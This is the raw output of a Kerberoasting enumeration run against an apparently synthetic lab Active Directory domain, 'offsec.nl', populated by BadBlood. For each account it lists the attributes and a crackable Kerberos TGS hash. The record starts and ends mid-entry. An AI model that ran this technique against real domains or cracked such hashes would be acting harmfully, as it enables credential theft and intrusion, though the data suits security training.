8D9B8FBA8CE1E06FB08B7A41467044BB63B2D5B17F488C036B8176B83D08638AC8817BECEF5EDA2F98CCD2A6ED1D47271A3BBFE778A99773596C938ADB9577A560D1E809EE3FB419B8E4BB3BD852D549A3DE19FE465C4459CEF886C964001CC2D1EC1E83F534B36CF357A4532A309E7F3BAE4FE97030B00D5E1AEED4C7116D1870B7F571E5440BED44C796E5E70CE084743EA60F3F5499CB63128412F83677F9D15BB5363D96F42E92831E3A701C3F5879E7A4F030190CBE08903041FCF509414085937AA83FBB669E9EE047CBE7AD12ADAA186795826CA43C32BCED4C9E8D10E0E31FC192B0C8B7BB57D4AE89FEF987BD8D65B9861BE9A5F85A75BDA1502B808D5D23668565FDA69B93A31A35736DC47A95A880584D0B6283205DF16DA21270F59525EEBDE4A1FA697236F97233FB510665341274BE4EEA9E13B01CFA16D7DDBBEF7917D68B9F535D8771F95162A61675323B0F94F7D4DCDA26E6577937E3A33497A18AFEF9D30752C03B8286FF6BA17223530E6B1F2364038D53FC349474E3B0F1E Searching for Kerberoastable Users - Details for User 'LATISHA_DAVENPORT': sAMAccountName : LATISHA_DAVENPORT userPrincipalName : LATISHA_DAVENPORT@offsec.nl distinguishedName : CN=LATISHA_DAVENPORT,OU=GOO,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3570 userAccountControl : NORMAL_ACCOUNT memberOf : CN=JA-104744421-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=DA-438-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:33 AM lastLogonTimestamp : $krb5tgs$23$*LATISHA_DAVENPORT$offsec.nl$https/BDEWCTRX1000000*$6D8D2CA5469CE143A88BA4DF78891B00$227BEBA72689EDE0526F259979FA234099422E030277AF77961B89E09C380731DC93C2A1C4EDCF033615D8CACA68DA5601ACE3D9ECEDFE1849D5DA425FFBD9E08E83FBCB023056985292D74A558C4B1C24F759D459F355616FDD76458C130EFD5A505DC5C04969F59037D17FA8607DD328A95050B0E2517A0149F1B9BDD605FAFA298FEA4AF9795C7B925CB925C1BF2AD6C3B3F83C0FAA5B89660D10334EC4DFC42D23180ACDF17305CFE66CC6CD294EA83EB35C178D7C1A84DC22DE645DFFEC9AF257A948D26997F7BFFBF95B96376531381811C89427648A6AA71AA8C5DFD487000CFC018071E7E1E30DACA4C9AA989528C9D424BA61A4D3CDB82E1518D3D35C843B8683BA73C96B7606C67E488B9BEFF9DD292BE51E9AFE8E77FA22A063C8B4027E3DA3A51831A5BB41E546FBEAC6B0E31D039CF4FF3CEE2A613227FC6182A64FF3E219A6B796FF9DD76714ED1BA9EDAC52D3A12F07FF559BADF7EC27066C98B1C69AACED78B4B86692372AFFABAFA70C523D3F468C2C028A7A8E1F7830C39B1FB98C9D3034E1E3956E4810017E3E408C4BD9D20430E5B3CD96E6F562B33D1398E36AABA6D57A630222316DC66D2CD053686DCE10655833B4A1AE37787CCA3D285BE6A48B3DF706C892CFAB04EBDD46312374C6C2AB2ECEFBC5198A98593A4FB5F9E07BBD6D9DE60EA1F087D9ABEA3A251D8CFDCFE60A5E9326AD1466A0433200177F99662902CA403B9E1ACA14C88E3A760A3D4239B189D0A5DA480F944381E90DB2E3C6883168D21334DB870CABC38949C451221FFB075EDC5C7AF2457BF46EBEF1A4E4107126CFFFFBE594A4A6D74A84F75B6662BA2147009DD0A58CFA4C1F57A57F827CA967283F62F1E6006874E6772A4BD6A52B91CDE981823C498C2BD79275DFBD9AFEA43A86EB004442F35638780DE7073F19E15A86E92C140E3DC05D5E89941A686EE5BD53E57436248EFA852474F927CCA4F4ECB610D7FFC0C71EF4984DDB77D84E1BD38AB8CF47A04E04F0E38D4677BC6FFBD700F1ABD73F95803E3C8E059D62807C41EC200C424310263FDE0CFEC69149759A7A31D6D66A60989A97E91F4BEDFB2884F37777B241DB89306BB0B915E6C3AC22AE37481E078856B10E8863A3A7F860D62570FF39636B1CC708AF9D815C24A9F477ECB2C190E3B552E6404EB73F8E75CF9ABB400B2A72BBE401A71245E8E01764B583D4E36C0E80FC1DC57A67AB6736214E89EE2C0F1E3ABC997EEE1AEF75DB4B4AE9C8A8315410CDB084A6FAE305030A3E8734CB7F02DF26E39CFCD1206D230B5B534555048EB7BB9A2E19D43A16ACC62F825965E9FC6F2015237DD228609C2452DCD588361D391AAB2A8BDF40C6C2EE6D810BAAA7B19B5675D310D261D9C531E3BCC662CB52A7EA85863995B708742E7D5A8D9C35FAA471 Searching for Kerberoastable Users - Details for User 'FAYE_STONE': sAMAccountName : FAYE_STONE userPrincipalName : FAYE_STONE@offsec.nl distinguishedName : CN=FAYE_STONE,OU=TST,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2882 userAccountControl : NORMAL_ACCOUNT memberOf : CN=LE-bea-distlist1,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=BR-555149025-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=LE-170-distlist1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=CL-tat-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=HO-alb-distlist1,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=GR-bet-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:53 AM lastLogonTimestamp : $krb5tgs$23$*FAYE_STONE$offsec.nl$https/BDEWVIR1000000*$010DD12D5C5168CBB7FD0FE6FB8AB389$967001ACBF7474B7658881FA9C7E4F050D1C955E886735A8A32D388E643424818F519EA4E87AD8F5AAFC7FF98B43628F3D74EB1AB3BAE153EB24A49A8F70F2BDE532B1D07305D62E67736687F29762253F6A852C32DCC8612B550E1918F01045ACFD789E2DE6533C40E441E6CFF1649340DF92F9CB1FFAFCB20A861CF00E77DD31BBD480D2E6A1CCEB436723F026B006D8BE1C10DAA388A4B0DAABB3663C5933F453BB5BBED475624FF803F537D67B2A7F39379FD03B53DBA827E3D80B6773C1AD5ACE7E172876B07431098821761EF7B6162DB52541E9F73134AA20C99F4448C3E94605F20AD735DEB8D334AC0D5CF510040F4769882B68A09C86867D544F8D15AC712D979A81EB0574039F0657CDD56213B46A79FC1358B98C547CAA85766D64AE99FBA6AF46B711DA02178FE0137B0CD2329ECF601DD5FBB20009EB0FC3C9F6CB387465EE3C4ABA7981DCD3F29651AFE8FF5B3A335B0A4EF2E7B01ACEDDFE0B2D58A50746EAAC112CC7AA8CC03A26149A441D0BA078D97FC5658D8BEB1D6BE5052EB718CC5B55BF74B14C2207B2B241805A96B305CBB01F405CB34475742B33007DF73C530DFA73CAF883101763585AC20465EFC90043A8908DCDD5C483268FEDAF22B5686B54418E99457880A186D63DAD79E5A5B221813FC67DF6F0DFAFB3F2E97827ED75F10D15B99F2D13C4240961B1D620B15AA7DA813694E4CDEB71521F2662012D8A847E5E0BC5021974ED0E141D2565A8CDDBA9705A057C382AEC3AC947FD4F311E7DEE12C6F9430A70827D964CAAE1A4DBBD390646C782342837DB6AD535EEA74E5865CCDEF314C1B9250654BA6763560E3C9B2D65B541D52AE0FA2EE58CF8609680D68455D5C9B98A4ACD553314FEA24B49DD88671ED7CCB7238338BCB05B493930FD88A18FC58E43925B9B4B137FC99632E559A2642D1309B30A0A174DCAE8E2086686405195CAC837E33CB65BF6316BBD95FE6351EEAD3F4C787869DF864B381885277C6F42CB1C9170D95AC810EF6218C8DBF2BDE3FBF3C9E6786838E473A18563130CBC86B5391BA15CDD3D512211C5A78093EE023022016660CDCD7929A2605748B970892F978293B6D1DA40F5E412FF435A712FC1C4BF7A34DD7C7869CD20B4CA4C9B072C28BFC032806E182094ADA1F5F63C7192AB6F0E2CDF0946249599E68FE11E0DC8B17D1DD11B390214C015F7B6DC4F1A2E982A1CBF289183DF907A29A6F56F17A99FA7654FD1169454BA0B25D4E94A55837D05D86BC75247152E5D62304A9CE28B9DD5D74512B223DF19DDC4A0DC31193954BA061D55082AAABD9265850342917B1BE4ACAD540BF6D7AB6B390F1C133451222AC4D19C5DA7AD7FE16CC8CD4EDF8B2C62112954D2088BCB77E744BAB11A729193ABDB74FDAC85A0E2458E1C8423286138E5F0 Searching for Kerberoastable Users - Details for User 'MILO_WHITFIELD': sAMAccountName : MILO_WHITFIELD userPrincipalName : MILO_WHITFIELD@offsec.nl distinguishedName : CN=MILO_WHITFIELD,OU=Test,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3400 userAccountControl : NORMAL_ACCOUNT memberOf : CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=DO-per-admingroup1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=IR-alpinista-admingroup1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=DE-Bell3Goss-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=TH-ambulance-admingroup1,OU=GOO,OU=People,DC=offsec,DC=nl CN=DA-laa-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=KE-miguelyca-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=UL-yer-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=RO-260-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl CN=AD-karunamay-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=Incoming Forest Trust Builders,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:54 AM lastLogonTimestamp : $krb5tgs$23$*MILO_WHITFIELD$offsec.nl$https/ESMWAPPS1000001*$881387EDEBA80B4A38BB545F7D1DB9A6$5D419B743D957D21654D753C46DD01CF793B040FAD381F4043ACE582D5B5E04988EB181B34245F8135D3A9D8ECC8E567FD4BA9F1A570E7DA3BA4FE6FA48A66F48280488044C394D32C5FE1F18DFBD5E0DCCCA894ACC9C53615A7985C6859919168687283224C18B8C50C64EE75EE2B3C39FBD750B4FD34075A9AF39870D8FAB8B70B41F6D477CE3B178CF27A0F0A39D4C07B309ED137FAC77E89074CAF7038C049CF1C1181B181F779CCF93E70079CB5A91BE290D0935B21DD31CC0AF0AAD25B820C12D9BAFC4E1292301ACFEC4795E117BCF5FD53D5E88A011088D782BEA83D19643E91A2F7A471BA060A91954EC29804C7D3642E1254AD50B6DC7BA485596D8933FDEF62EB3ED75B71FA22D3D1B12F6AA172A0B40021C9AC661E476788FC65D9C0E123DF63FD8526535517379C6F89F724D2E438DD427DE68F24A829DD3F729C1DEA2C4AF99BB85ED15A2BFA81684D7B98BAF70F9D2F638AD8CF4099C6E292089F439F372DD8C09894005C91E5E28933271C8881468DEDED320D214127BD1BAF489D3F97B79560D68678A56A2485D4BE0FCF6BF25EDA8F574B713996528BBD4B24E4FDC75AAC1DFAF3758821C7D48CE04FB877C28E3AECED70F90CB0B13148C623CCF276A86DBD83AE9250437052D21AE860D25B09DF33A9E96AAFEF2A0D0C8672E99D26B65DF2A94FE8B6FD06018F9E52F5DD126088717A5623BD353CAD5367B9113E0AAF09AFC064FEC03CEF025F373150C08A930B1A25183A47178A3CC7148821EF0028BF1367E7EC2680E17F383090781E802B9F3772AC19050450E354BB68111743ABFCFFE66D0FCEB2C63486EB49F323EC72051A7CE2A0E4F3519A4393602023E6B90AAD88CFDFF15AB9BA16DBDA6236C630D76EF5C2FDE61736C7FC37449EC876079D365F29E6AF9B60BC74880F312008052D58B8BF7B8232E95BEFF933E67F0130211B1CE21D206777AB821B0A745B55745DBEF8304B01D511B452C34441A5BFB5FF6D50EC331C49AA464CAA77B7BE47CC07039C6193663BFF461D4F79DA011A69D680A015BFC8524B2D7671A4340E1FCE3ED0D75ACDA7CDF33E900A5C5BD11AE5D341B11065B2522FEBCBE59A3790E548236D8235C03102BB63F8044DAEAD9B8F657F817ACE5CAABB48F527E4725E8408E958F16B994FF7D9A49EE3A0259ED6EC0F40E24293F538A9894FAE3134A3F9204DF5C67DA14EC4A3FCA190CE5CA1214E1856C3DA4D84B580AEE16CE24A00C28A4BD8524A7F291CBC20CE4C60A7F1202BC5B9B476A1934D44C1BFADBAD5C737186D77F2D502FD86302B98C1B38A0243F25D61DDC6F97C45407D18C3122737AA47A6A143FC688BDDBEF79C301135E2FA722828E2DF1F8E931F905231DD7A7D9C64D34396E670EDD348C1E9564207A5737EBE2D56696CF6E01882132732 Searching for Kerberoastable Users - Details for User 'ROB_GOULD': sAMAccountName : ROB_GOULD userPrincipalName : ROB_GOULD@offsec.nl distinguishedName : CN=ROB_GOULD,OU=OGC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1118 userAccountControl : NORMAL_ACCOUNT memberOf : CN=MA-yol-distlist1,OU=Testing,DC=offsec,DC=nl CN=CL-est-admingroup1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=EV-adi-distlist1,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=SE-iro-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=DE-Bell3Goss-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=LE-supercali-admingroup1,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=MA-yen-distlist1,OU=Test,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=JI-TELEFONOS-distlist1,OU=ServiceAccounts,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=JA-belldandy-distlist1,OU=People,DC=offsec,DC=nl CN=JA-1a2s3d4f5-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:05 AM lastLogonTimestamp : $krb5tgs$23$*ROB_GOULD$offsec.nl$https/FSRWAPPS1000000*$5C7CC496CA6555133DE16960A88194F0$B3FD1BDB7AF5794F3CC441F46EC7FB74A7F3EDE4A75197170E1CFD8A99F725B4323691B3CDFD774A9FC5696CE629E6286FA71927C2E5C56A7F0D14223F3EDBBE01A56D06AECCFF2B00CECCEE0853152225F9D4AA93CF73F7B125CA652CA06DD72233B0073153743B42B32316F7F3108EF462CDE91FCD1125FE497DB786A8E7EE9779E400EEB32A46BBAFFE74828D8A482C5C29A9EB9FE02188E0B9C77E15B288C77144EE8C96E22C3522B022540263F9244ABB3E5CBE8BB6776736BC752F4E2E0102179013E68A508C3F8B84CE93566039FF74D4060576053A4CB1A433318BB135B45E792D132A3F7B28B5F447D5F97428584FB87EAD13C9529D37D4C467ADCF85C1E1F38E94C9149115DFADFA1E9C3B4C8C1224A764023049E80CC7064D00B70F79D36BAC46BA31F3BD3E545D061C4C198CC806BDFD6D34209EF1B29BA5C579D4BA8F4801AFB0FFC79CCA593651E033F513D2BBFDE3473D83BCB923D2FF51009B182C70DB41B86115C8701429C6BD52DD6BE8B7E7E403A64BF5157102BB42896A42AA9A361DC4A34D07580E789C1D7FA2F9DF167FB6B15EF392BE8638BAEB7036844F2513FD4F7C7FAE0099D0A1255796F7FFD2C1E1FEE00EF3A1D2FFC4A5009E4C7207CA1028D1B5B7A14784C3E6592BD71005587157EBD910A2BD8A350D676D4A65F4D1276E589AD2F03E0369DF5AFFFCA259FBD4EF6EE36D0230541DEB3851044330ABFC9DF03F6BEAE4ADB51D7B938E62B0E2B1BFEB34905181DF6D786F90AE7A92D1CB29239697CFEFB2F754195DBBE72D2103ABCEB5D11A3D2BD5252E63D16AF0ED350CB4565781645AF34CCA9A6427DE9F495CA09588EF7D75B378D6A1A9E76260276C1806F3A3A5596A8298D62FDF685C45808057A5B22E83C379AD12321FEE4DA818536744982EAC3EB18AA48CFFB976F57AE47D6AF50EA557C103B523D678004702F1ACD71C95A9CD8430EA150040697ACB6FE9F5A02891AE2B3A4AFD2EEC81E090B5B168BC5D423121355C6C3AC544898CC49D9ED35A667D419A2255CA8D3555FB94CD524A912874EC3B78430D21F3F312745B2A0155E73E827DF6388F6C0121957B9C372F36B0018708A49B8291F0BF28187987EEF2368B1CCA073C367A6B1B0C39762DB13FEAAC3165DB8C12B6A935772934679618188B6BA6514ED6C476D2BE873B30E269ECA64B6FA56610A49EE2D8195E2D52301D5E129ACA02D897FA95162EBB64BE150051C39BA0547512BC76F0E78602EB03AD35DBDEE4C5485F59AD28C07E2BB762D024DB62FC4BDD0BF791CCE70EDCE939495850FD55A5919F3F02EAD3154ADFE678CF8901F393D77D099F5CF0E4F45B460B3EE2D7607D5A413A5049FC4FD5077C53C56B0B69E62692C4846F41AEFACDBB2A04DCFD4A3F47C36AB5F7C0C1522CBB0D4573E160F0 Searching for Kerberoastable Users - Details for User 'LEMUEL_FLOWERS': sAMAccountName : LEMUEL_FLOWERS userPrincipalName : LEMUEL_FLOWERS@offsec.nl distinguishedName : CN=LEMUEL_FLOWERS,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3564 userAccountControl : NORMAL_ACCOUNT memberOf : CN=AL-185-admingroup1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=RI-bue-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=OT-664539651-admingroup1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=36-nat-admingroup1,OU=.SecFrame.com,DC=offsec,DC=nl CN=MA-con-admingroup1,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=KR-asdfghjkl-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=RO-sop-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:31 AM lastLogonTimestamp : $krb5tgs$23$*LEMUEL_FLOWERS$offsec.nl$https/GOOWSECS1000000*$42B1C31D24987C020C5EAD683DA53C50$BC96E982DE1DAA59FFA213AFE52A35ABA7D5E64616B03C8ABA3EC736245E5FE4A72BBBB73512B26E2051B3CF1088FB7D80873855B5AE96B07B0FDDDB9D3BFCB2A7E6DD8C59F4582A13C5CAFCB1294377717F22B9732BA0B30B5B81B9758E5A64F8EFB4AEC8C60E4FFDAAB51DDD251B5F63A2CC721DBA45370F4CBBC7E01D892469714FF134284F087B44F23FA1EB0E3E9E5C5A73999EFBDF69D5F5091193DACFD0D1B18E121D4D056637D56397631903B3A20BE19207C32094F5FFD08613DFEE9F819F27177C00AFC787CE9F2C146F68AF9CEF8A2440230BE7C501D3E2F7C14850928F0EDBD4D38F037661D21B421B9AEF010D5603FFB5BB51A858B16F8F7E20083590E942F71AB4DDD07D132AFDDD7C8AE1CD7E5BCFF4C30202F192BAB7ECCCD942CB6B9452D872920B5F6F6DDE85ED28D57C3AD4BDF1496E427793FB0F8E0657EF9831EF25BE034800ECE2185802F8048D1153E1D42A0DFAE9BB621D6A387BB514995414F415EA724F9D25E8D2B9864638434C9E8BA3CEA431B3E72F2C18C7CB31160A07889C1D90DF903129DE7D64D65B3732AF64DE156E68A0FCF185105BD2F6808A1DC1DFF727D6138FC1BAE38788B524FD26DC539208153FC718CEB5248853DFAD41446F2E674418A2CFDE701F9ADFE5DF68E8C6116D8D32F9CABFAB7C18ECAAD9A93D0BE69B9BE9A3620A1E5FCFBF59AAEF0B420DA5A833F1ED52DCEBA80D525CE1F5238D06C81B8AEA17E43CDD2B601A00EE9DCA96412CF8624631129C3F0CF46163DE320F12BEA32AB50501E2C81E3B363770F09276D06BF28FD11467D2FDBF68245DF5647F9544308245CA45BA97B0C020FABF68779084BBEF87C32A2FF2179A82EA1BDC442EC9A3A7DC09A585764BE94B280E93FC7A77B72161A8B4716D1B5FF84F3367EB750F1B4072CEB9CC3732794EFCC2EF5BD094A6D96250DE981167C68620357DF6D547779BBC3BCE0E6D2CF2EE0FB1C2DD8E28664A698046775D8DCAE7ECA569D38E60CC93FE3B6D06E1F2012F16FB80481AD117E137BED48AA28D4B6073050F25CCD710D2FC6864AF0598A04DF1BD9C66A3125CC283A2A750A0963416B1530D875472E56239D8A6234B7B1F2CE93F073B71F13963EC12F177E9784CA51081C37BB650725144D3D522D74D87CD55AD3F88C9B4756B328E287379E60E30FF0F5B190D1650EA7979156E7B208282118C352DBA9C1332E92911249A1F5DC7AAC03F53C123077F2F55B7D5D4A55C61EC6E2668CAB8882DC714E0B33928B5F742D96113CE1EF91B372752381EF30ADAFED4600004C610C0E41C73EB5FA9B86516524EFBCD6FA173D1F11F037DCD0105DC9C86CD2E22FB857500EC2430F3BE8BD83452BB3110C30AF289D400570857FDD44458CA4B9D20DD292CBDD9CE1836FD8063A8BC8C2F51D1CC05BDA6 Searching for Kerberoastable Users - Details for User 'DOMINIC_ACOSTA': sAMAccountName : DOMINIC_ACOSTA userPrincipalName : DOMINIC_ACOSTA@offsec.nl distinguishedName : CN=DOMINIC_ACOSTA,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2908 userAccountControl : NORMAL_ACCOUNT memberOf : CN=LO-24Augusto-distlist1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:59 AM lastLogonTimestamp : $krb5tgs$23$*DOMINIC_ACOSTA$offsec.nl$https/GOOWWKS1000000*$1D77A61C2ECC641E0A5ADE5AD49339B1$A49B6783EB9E5E08CC8BBA0A733B5905612D337594B49D9AF88DBD79DFEC7A54B412364078DC4EF0736DCB9A942F92990FA5314138D982FD2ABDDB3DD21B5438BD9261D69DF29F3F7B5F83F269B2319E793D6046A8A6F7441B74646351A9A748ACDFBD7195B7AAC8C33961B6E6C0EC526AE368FB37AA4EAB7B1FC1084768A8FECA8E3B3943E9CF08E33CABF6630DC39612D5B567AAFA4C039029565BB1F256B485F5854D1EE5B75DEF72C56DE562A4557D0DB87D0E143A276E26107A3831359C69D37317AE6B450D857EE129C91965B08001309BD18093E5F15EB21C75DB41915BD99AB65869BC0E5525005B3F49BABD463E4D4D1CC39E8AF9DD862494305ACA9662FA2448C7A0AA74854E0236427DC424D20DD6945E7FBA1F28A5351D49A8D99A30590D50C22F8023A0F41E3F363B9AEA232BA5A6AC0A1337B054AC7856DA0EE7B68F4B7BA68432526B9146E9B6BEA2A20553C172B7E103012A481066D927AA8A43A48E7B1AD4E92314D5C9F3AFED0F717B0C1FF951F5B90972475A760385D8A16FF18536346A60EFB7AD089A9C673E5626621A6CF6B945F33AF94A9D57FBAD46F637BD615B0EA0B079AA707587C062B1159D8D3330E0BBA6F647ECED35A45FC9D2AA6C009871CA82BF8303B30C36B6454CB87077B65AB627539868B2063814EE6DD3D1C25B2F9B58842A33B376B6BB32707206753D2FE4B8C261C730457C64B87E036A118F4BC440DEEC7BE98568BE0D249FDD4CEF3CA022DF1B02E114124B92E89C4A2AF3D92D314948D0851E4C7E89C767B5AF40689717E3A68C05FE9AB77EDB9B020BAC83D030FDE42B66955E0C3F05575136DDEEBB73D85411E396C3D8F1292CCF1115EC16037C20FC61917EA8B034E53F08130ACE137483C2954F7513526C1AB87109D9C1C9979D4BAFC5B65CB9A95B54C0E2C020A3639D70D6662CA7E9AF1F09C46A20FC55B1BC7ED90FB6ABE54C77537D517E45F4604B7B09E52E45C8F3270663AE3437C6E2991AF3BC53EB02C0D64A90CF8E64102BCB0547AC015ED76B3BB5DFD29DB5E0E5869E9C3076BA1ED20F46DA052842CC6776BFAF6D20D3D63706A9AE3A23D99EDDDF05EC9F5B28F1B7D8C46141CAD4C4B6620FCAC5690AA043405DA55F04DB8E8C653DA39D33DDEF55AEA80540177F9DA77CE749D1E612B55F92F0E946D8706D55D0255B44AFB25ECF783205E8836E9484FA362B748445BEB6401246CA35DB783CD48AC11EB12F2D68B510A3EBFC04A66EE830E5D896C4E7264344DAF09E955072A8480D1F2748A238FE37D3BD6EEF4CFD4D5DF15450134F978B67579189AB419BE27DE9DCD68421BF4E69BC1F48C6FBCD2130F99B3679D79571F2509B8220796F3205E9423CECC61B50506DFF90E96711984DF401EA5F01C6AE0AF992E5B085CAAE8A4FD6B9B92DA2 Searching for Kerberoastable Users - Details for User 'JOAN_WHITE': sAMAccountName : JOAN_WHITE userPrincipalName : JOAN_WHITE@offsec.nl distinguishedName : CN=JOAN_WHITE,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3386 userAccountControl : NORMAL_ACCOUNT memberOf : CN=LA-pla-distlist1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=FL-fra-admingroup1,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=LU-maiden666-distlist1,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:50 AM lastLogonTimestamp : $krb5tgs$23$*JOAN_WHITE$offsec.nl$https/OGCWWKS1000000*$5838C9CA19EC041959B83523DB4914CB$807ED31EB630362D55EDA351BF960EE9A09CB3E084AD6D7BD5C26D3E3BC6C11193FC1AC1D54AF28B41734AB1EBF1624CDDF528F205C669FD7A4F3AF95BF753FD363903014DA2DB95A5A069E988FB0A368ACA83AABE712D0908E21B2314E593C4EF25B4D4E4741A04976723475A202DDD4B41FB68469A3D5031AD55AFF7B2807E91D9D007CFF041F787E0A946FD514732F84C0D6974AF8FBC32BB7CB093BD2580A198ECEB4F4D4E3279B573A9D62071C317A68606FABBB374BD8A4FE8B063BD60552309554D101ECA3F0A4B2F274F600E159A2ED012F61A7D4D964AE686713BB059E3480D0067957B3C939E5AD4548EEE3BDE87834D604135DC6077EC6C33619140C0E2D65AD3A3F6F6A5FE29B6B38F8BD497693380B7E01AF622778E1CA6DF6C99EE83E6D9AFEC52B6DEF53CA893CD6A2C78E5287F90B0A3C22DFAC831F58783462B98F422A547DF0F0FEFEBC1F17E9B173D302DC2B75261D534BBA76E711E2471CDA95843B3B62E970E82CE95FCE5188099AACF4B8CD2BC347DDB2A3E752BEC8FC01490D6146500DA16278386E34A989C12CF2C5BBD82F0FCC72343889D7D2E2DA3606256A1CDDE9449CA6C16DF71094D644FFD96D6B70C8EC11756B77601BBE0D27E917878EC439F167BAA6B4C9EEEAE216BB7EBD7F07BAB0E12EAADD13D122673EA67954F27F16F7F3F7E6CCCF87F25FF16B496C3CAFAFE158E0088104EC2B57A3C25976EF1974688C6D708BC751F408F00C71CEA165F192713D906DCED0D4BCC61C43A51ACF599B107079BA19078CC0ED28CAA48F13D00BC4D12842D950B74CCBA0669AC84582D452C53C6471B0A984C08B69433A6DB7773958ED3AB7F625ADB491FD26105AD8C7ED178936ADEE113853D81113C28729D52C7A7D84E990E7C305D1B3F6D07FF35F9E049E01FC8217B2C23FA4506366FD674FBFEBD77654706F7157DB561F40C469A1F062552C89402D0FC60726E9B33D60D8803E455873FFDEE84EDAFF7C515663FB101135BBADDBBF41EB0F27FE5D2126B730717A752560EEFEBBF05745F8CC88B7A118793771EF088F1B924B52943EDA0A695C647866E5C3A04AFB0CC9899F4D33AC1C4563E02912C11C34037E95644ABE515027C19BF91C0E0DF369ED48231E1854451C6F612337F5F4AE5D5FF6E33142A00133CBF0306DF2C57F7656178DC9EB203A2B6A79556B7DB57EBD5ACE5D076C5419AC2F7FB3EDFC8803D7570275B2E2A1DC4739A1B303DA1A899AE63DC189E968795D99B781160C37B6E2D7B3A2E0EE9B8F1E2C80DB926E0CAADEFAAA9CAB4E8347017709EE87EF23DB67D60C78007806414E654CDE5839FCB1943B904C62DD44DB70B0669C9750C84AA3D489781040B150DC3D7E428AB1DD80E860D7BCD38F022100E727C57A4ED63AD999F4F9557C06208580ECBE3FA Searching for Kerberoastable Users - Details for User 'DARRIN_MCINTYRE': sAMAccountName : DARRIN_MCINTYRE userPrincipalName : DARRIN_MCINTYRE@offsec.nl distinguishedName : CN=DARRIN_MCINTYRE,OU=Test,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2566 userAccountControl : NORMAL_ACCOUNT memberOf : CN=VA-t0011119d-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=KI-nis-admingroup1,OU=Groups,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=EV-adi-distlist1,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=HI-231085liz-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=DE-Bell3Goss-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=NE-bonifacia-distlist1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=EL-956-distlist1,OU=Testing,DC=offsec,DC=nl CN=BE-str-admingroup1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=DE-HER-distlist1,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=RA-www.xicas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=SU-m3d-admingroup1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 